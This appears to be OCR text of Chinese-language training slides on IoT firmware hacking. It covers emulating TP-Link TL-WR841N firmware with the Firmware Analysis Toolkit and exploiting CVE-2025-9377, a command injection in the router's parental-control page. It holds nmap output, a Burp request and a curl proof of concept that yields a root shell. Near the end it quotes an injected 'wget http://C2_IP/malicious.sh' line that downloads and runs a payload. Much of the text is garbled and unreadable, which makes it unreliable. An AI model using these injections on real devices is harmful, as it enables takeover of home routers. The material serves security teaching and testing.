Rh#EA TS

httpGetEnv()
BV url 0~ url_7 28E

130y

W

‘\_ld

o] T 3% - bR $1 2

3

H

f

BT

refreshParentCtriTbl()
0x4CCC24 - EEMIA

M0y

execFormatCmd()

0x4CCEDS8

- sh /tmp/wr841n/parent.sh

swChkLegalDomain()
0x4779C8 - BEFEI BRIV

swSetParentCtrlEntry()
v BEEBERE

buildParentCtrliptablesRule()
0x4CC670 - HiEFEM<TF&H

TN

fprintf(parent.sh)
URL R3BEE#E A Shell BlA

tp_systemEx()

execve()
/bin/sh -c "cmd"

v

RCE
root #EPR# 1T




B HS 2N R 77 M Az

S

EA8 N& « 3%/ TFTP dump * UART Flash &Y

% Bl Bl

binwalk -Me B2E] - fEZRZ2HE MIPS/ARM/x86

EIEFIRIR
FAT B B1EIE) QEMU - BB SRS - EHRT

At 8 AR 75 R ED

HEE2 httpd / telnetd ZHARFS 1E & BL I

ZEFEPEIRIR RS

tcpdump IMEURE + nmap B FHIIESE

gJ8E fuzzing
7 Web APl Bl A\ IBFRE - EiZZEF[0lf

g

Process & &C |5 A2 6 it

strace / Itrace Bx 1% % 47 19N B2 pRy = 00

i 10 B R

184S PoC Payload + & RCE / BB)ETJEIR




FAT — Firmware Analysis Toolkit

FAT 21T ?

R B BS TR BETE SR

B IR FirmAE 317 - BB TP RER AR

QEMU BENEas

H B 2232 MIPS/ARM/x86 15 28 I/ it B AT 1S

«H

Web Ak #5 5 ENRLEN
B ENMRRINLRIED httpd FARFS - 12 LRI Im &

GitHub FiR

https://github.com/attify/firmware-analysis-toolkit

FAT TG 2248

_ FAOMA

wERPF AT - HEOY FirmAE I RUEN 15 1

M

HEEEE - mBIZR1E ~ &) rootfs ~ BYE) QEMU

B e

1215 MIPS/ARM ZIE2s - sCEEE ~ I/O0 BE

W o

=5k Bl AR 48 28 Z2 48 squashfs / cramfs / jffs2 S8 T




FAT 1T 1E

FRsEE &l

Y18 rootfs B &%

IENY binwalk -Me - B &1#%E squashfs

ZRfE 5 Al

‘ T ELF _#4I header - #J&RF MIPS BE/LE
5¢ ARM - ZEEZEIE QEMU

PRESERVS

&3 FirmAE 217 ext2 B2 - 1% rootfs 18
BUEXL - ERREIRIE

A TR 1%

EREEKE QEMU

BV ERMAE  BCE 192.168.0.x FEX -

QEMU RBYE

‘ BAE) gemu-system-mips -+ & ext2 1S
+ & A kernel £2 initramfs

AR #35 R EN (58

B2 httpd / lighttpd / telnetd 55 AR7% BLED
- Bl o FHY 1P 73k




BE 4~

FATE| RE 73

TP-Link CVE-2025-9377 &J5& &

HE) A 2RI /MIPSIES &

BB IE R squashfsiE 4518

ak
BE
45T

B

B AFE S FECVE-2025-9377852

==

71\

7

i

A

B A8 1513#192.168.0.1

QEMURNEN S IE X R4

Hk

iot@attifyos ~/t mware-analy
[sudo] password for iot:

[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]

toolkit> sudo ./fat.py ./tplink.bin

|
| ol 7
I
) S N

Welcome to the Firmware Analysis Toolkit - v0.3
Offensive IoT Exploitation Training http://bit.do/offensiveiotexploitation
By Attify - https://attify.com | @attifyme

Firmware: tplink.bin

Extracting the firmware...

Image ID: 3

Identifying architecture...

Architecture: mipseb

Building QEMU disk image...

Setting up the network connection, please standby...
Network interfaces: [('br0', '192.168.0.1')]

All set! Press ENTER to run the firmware...

When running, press Ctrl + A X to terminate qemq]

sudo /home/iot/tools/firmware-analysis-toolkit

le or directory
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.016000]

.016000]
.020000]
.044000]
.048000]

.048000]
.064000]
.140000]
.216000]
.380000]

.384000]
.460000]

.464000]
.464000]

€l000: eth® NIC Link is Up 1000 Mbps Full Duplex, Flow Control:

ADDRCONF (NETDEV_UP): ethO: link is not ready

ADDRCONF (NETDEV CHANGE): eth0: link becomes ready

ADDRCONF (NETDEV UP): ethl: link is not ready

€1000: ethl NIC Link is Up 1000 Mbps Full Duplex, Flow Control:

ADDRCONF (NETDEV_CHANGE) : ethl: link becomes ready

device eth® entered promiscuous mode

ADDRCONF (NETDEV UP): ethl: link is not ready

ADDRCONF (NETDEV UP): eth@: link is not ready

el000: ethl NIC Link is Up 1000 Mbps Full Duplex, Flow Control:

ADDRCONF (NETDEV CHANGE): ethl: link becomes ready
el000: eth® NIC Link is Up 1000 Mbps Full Duplex, Flow Control:

ADDRCONF (NETDEV CHANGE) : eth@: link becomes ready
bro: port 1(eth0) entering forwarding state

(none) mips #1 Thu Feb 18 01:39:21 UTC 2016 (none)

rL____}_&lﬁQQQl_kg;;el msg: ebtables bug: please report to author: Wrong len argu
ment |

(none) login: [

A Adropbear®#&Ehardcorded®
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. . #h L\I:/'\ @ 7 TL-WR841N - Mozilla Firefox =] fish /home/iot
TP-Link CVE-2025-9377 ElRSENRE 73 1R <+ File Edit Tabs Help
Sl L8 1e2 100 lelcome to fish, the friendly interactive shell
S N g [ot@attifyos >cd ..
TP-LINK ' s lot@attifyos ~> ping 192.168.0.1

httpd / lighttpd / telnetd AR
75 B B 3 AR A BRI AT

>ING 192.168.0.1 (192.168.0.1) 56(84) bytes of data.

>4 bytes from 192.168.0.1: icmp seq=1 ttl=64 time=4.99 ms

>4 bytes from 192.168.0.1: icmp seq=2 ttl=64 time=0.362 ms
>4 bytes from 192.168.0.1: icmp seq=3 ttl=64 time=0.352 ms
>4 bytes from 192.168.0.1: icmp seq=4 ttl=64 time=0.314 ms
‘A64 bytes from 192.168.0.1: icmp seqg=5 ttl=64 time=0.250 ms
>4 bytes from 192.168.0.1: icmp seq=6 ttl=64 time=0.259 ms
‘X64 bytes from 192.168.0.1: icmp seq=7 ttl=64 time=0.253 ms
*C

--- 192.168.0.1 ping statistics ---

7 packets transmitted, 7 received, 0% packet loss, time 6103ms
“tt min/avg/max/mdev = 0.250/0.969/4.997/1.645 ms
lot@attifyos ~> |

&5 A IS AR5

ZEBNmapiFH#§192.168.0.1

. Jdot@attifvos —> nmap -sV _-p- 192 168 0 1] P
R 7S Rl 7% 785 A Starting Nmap 7.70SVN ( https://nmap.org ) at 2026-05-07 17:12 PDT
Nmap scan report for 192.168.0.1

Host is up (0.028s latency).

Not shown: 65532 closed ports

PORT STATE SERVICE VERSION

g —] AN 22/tcp open ssh Dropbear sshd 2012.55 (protocol 2.0)

I EWE AT 80/tcp open http  TP-LINK WR841N WAP http config

1900/tcp open upnp ip0S upnpd (TP-LINK TL-WR841N WAP 9.0; UPnP 1.0)

cpe:/h:tp-link:wr841n, cpe:/h:tp-link:tl-wr841ln, cpe:/o:ubicom:ipos:7.0

service Into: 05s: Linux, 1pUs /.0; Device: WAF; CFE: EDE:ED:llﬂUX:LlﬂU}(_KEFHEL,I
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TL-WR841N
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=1 e ~__ 300M wireless N Router
TP-LINK  Model WRB41N / TL-WRB41ND

TP-Link CVE-2025-9377 EREENHE D 1 - §

WwPS The Status page displays the Router's current status and configuration. All information is
read-only.

Network
Wireless
DHCP
Forwarding
" Security

AY e e SARSRERSRE—
?_Y( l_l—‘t—|‘ Parental Control = Wireless - These are the current settings or information for Wireless. You can configure
L v EI_ E = e MAC Address: 00-0A-EB-13-78-00 rolass -5 Wiralass Sattinga pags:
e e IP Address:  192.168.0.1

= * Wireless Radio - Indicates whether the wireless radio feature of the Router is
EAuviriosd Ronting i Subnet Mask:  255.255.255.0 enabled or disabled

Bandwidth Control * Name (SSID) - The SSID of the Router
—_———] * Mode - The current wireless mode which the Router works on
&Mﬂdﬂg__ « Channel Width - The bandwidth of the wireless channel

e « Channel - The current w ss channel in use

Dynamic S Wireless * MAC Address - The physical address of the Router, as seen from the WLAN

* WDS Status - The status of WDS connection, Init: WDS connection is down; Scan

H 3 il 3 e 3
Firmware ersion 169 BuRc 10010 8593180 - The following parameters apply to the LAN port of the Router. You can configure
Hardware Version: WRB41N v9 00000000 em in the Network -> LAN page

pen from the LAN

* Subnet Mask - The subnet ma with LAN IP ac

ystem Tools Wireless Radio: Enable

Logout Try to find the AP; Auth: Try to authenticate; ASSOC: Try to associa Run
09 Name (SSID): TP-LINK_0000 Associated successfully.
Mode: 11bgn mix WAN - The following parameters apply to the WAN ports of the Router. You can configure
o them in t etwork -> WAN page
:E Fmﬁ z|§| E T I | FD% EE = Channel Width: Automatic : " e
\| % n N Y . e o 1 * MAC Address - The physical address of the WAN port, een from the Internet
I:| d = ! Channel: Auto (Current channel 0) * IP Address - The current WAN (Internet) IP Address. This field will be blan

0.0.0.0 if the IP Address is assigned dynamically and there is no connecti
Internet
WDS Status: Disable + Subnet Mask - The subnet mask associa with the WAN IP Addre:
* Default Gateway - The Gateway currently used by the Router is shown here
When you use Dynamic IP as the connection Internet type, the Renew button will
layed here. Click the Renew button to obtain new IP parameters
ally from the ISP. And if you have got an IP address Release button be
displayed here. Click the Release button to release the IP address the Router has

MAC Address: 00-00-00-00-00-00 obtained from the ISP.
* DNS Server - The DNS (Domain Name System) Server IP addresses currently used
IP Address: 0.0.0.0 Dynamic IP by the Router. Multiple DNS IP settings are common. Usually. the first available
DNS Server is used

L — L > /s, AN N gt A Subnet Mask: 0:0.0.0 + Online Time e time that you online. When you use PPPo! as WAN connection
2 Y i A1 Ui B2 1L 266 17 880 A1 il - NSRRI

TP-LINKC

Al &+ \ ]
Al 22 2 PhE 2R g EiE 57 .

uick Setup
WPS
Network
Wireless
DHCP

N —_ v; SE Forwardi ress of Parenta :
1T E M AAI50WASP top1oflEt — Hac address et pareniaL e
Parental Control
Access Control
Advanced Routing

Bandwidth Control
IP & MAC Binding ID MAC address Website Description Schedule Status

MAC Address: 00-0A-EB-13-78-00

i

ik

Parental Control:

MAC Address of Your PC: BE EA-1T7-42-81 Copy To Above

Dynamic DNS Add New.
System Tools
Logout
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The Schedule is based on the time of the Router. The time can be set in "System Tools -> Time ¢

MAC Address of Children's PC: 00-11-22-33-44-AA

All MAC Address In Current LAN: --Please Select--

Website Description: google

Allowed Website Name: www.google.com

Effective Time: testrule Vv

The time schedule can be set in "Access Control -> Sche

Status: Enabled N

Non-Parental PCs not listed will not be able to access the Internet.

Parental Control: Disable () Enable

MAC Address of Parental PC: 00-11-22-33-44-BB

MAC Address of Your PC: BE-56-EA-17-42 Copy To Above

ID MAC address Website Description Schedule

1 00-11-22-33-44-AA google test rule

Add New... Enable All Disable All Delete All

Modify

Edit Delete




TP-Link CVE-2025-9377 ZR=&j5E

HEREAEBERR

= 8 48 B 1 1 R R s B

B 5% Ui vt A1 Ui B2 1D 26 17 A0 AURI R0

ik

ARl 22 ERNE R IB LB R

1T E A A UEOWASP topl10Rl

7

i

allk

Methad

% O W0 LA
2 0 h oW

i ods

4

[Row Params | Headers | Hex

GET /TOHEEYKAGYBCYBUB/userRpm/ParentCtriRpm.htn?child_nace
2 ni.txt;®
l_4=8&url_S=&url_6=&url_7=&scheds_1

Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http 1

Authorizatiol
Upgrade-Insecure-Requests

1

Nz

Qz0

Params

Edited Statws | Length | MIME type | Extension

AA&lan_listse888&url_comment=googleSurl_Ow

0&enable=1&Changed=1&Sel Index=0&Page=14rule_mode=0&

Ok

od1fy=0&Page=1
DFnYzZM30

Title

Camment Cookies

=

O
%}

P bt et e et e pd et pd et

|t e et B et et et et

=5

[Row I Headers I HTI Render

HTTP/1.1 200 OK

Server: Router Webserver

Connection: clo

Content-Type: text/html

WaW-Authenticate: Basic realm="TP-LINK Wireless N Router WRB41N"

t g “>window.parent .document .cookie
parent . location.hre I ) 1 0 :

Listener port

Target: http://192.168.0.1

=;path=
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B tmp B fish /home/iot
Eile Edit View Bookmarks Go Tools Help File Edit Tabs Help
=R ~ (i | [E1/| home | iot| Desktop | tplink | _tplink.bin.extracted | squashfs-root || tmp iOt@attifyOS > plng 192.168.0.1
. 4 Bh At/I\*ﬁ i . PING 192.168.0.1 (192. 0. 1) 56(84) bytes of data.
TP'Llnk CVE'2025'9377 Eﬂ EE@}] Fgl,_'(ﬂ _?_la;e'wﬁ_”r_ 64 bytes from 192.168.0.1: icmp seq=1 ttl=64 time=0.737 ms
G Home Folder : = - 64 bytes from 192.168.0.1: icmp seq=2 ttl=64 time=0.266 ms

64 bytes from 192.168.0.

16

0

0

0.1: icmp seq=3 ttl=64 time=0.268 ms
o applications 64 bytes from 192.168.8.

0

0

0

8.
1
1
1
1: icmp seq=4 ttl=64 time=0.224 ms
1
1
1
1

[ TrashCan

B 1.1 CB Volume 64 bytes from 192.168.0.
—p—— pipe_mudso 64 bytes from 192.168.0.

i 64 bytes from 192.168.0.
64 bytes from 192.168.0.
C

- 192.168.0.1 ping statistics ---

8 packets transmitted, 8 received, 0% packet loss, time 7169ms
rtt min/avg/max/mdev = 0.224/0_342/0 _737/0.158 ms

: 1cmp_seq=5 tt1=64 time=0.308 ms
: icmp seq=6 ttl=64 time=0.265 ms
: 1cmpfseq=7 tt1=64 time=0.406 ms
: icmp seq=8 ttl=64 time=0.266 ms

ae Al A4S B2 O & 5% e i) R (A

TP iot@attifyos ~> curl -v -u \
i /tmp f|le, ™ "http://192.168.0.1/userRpm/ParentCtrlRpm. htm?Save=Save&child
N = RY T2
@ﬁPayload/ﬂu nit pwnedffaért— referer "http://192.168.0.1/userRpm/ParentCtriRpm.htm"[]
L 4
R
Free space: 17.9 GiB (Total: 39.2 GiB) “
R
3
*
R
#E A consoleRE#E K

BusyBox v1.01 (2015.03.10-07:02+0000) Built-in shtil (msh)
Enter 'help' for a list of built-in cummands .s

# 1s /tmp/

AlEtsE R A& LIS Atmp 3G dropbear pipe mudsg:’ wrs4ln
art.ko httpd ready pwned
dec mﬂdel canf passwd pwned2

IEREWE A RBET D %R MR e E e Y 777 (FFHcomman injectionIZ B2 k)

o AR R IV IR( - &&)ETIE A
WI141:POST /cgi-bin/test.cgi?ip=127.0.0.1;wget http://C2_IP/malicious.sh -O
/tmp/m;sh /tmp/m
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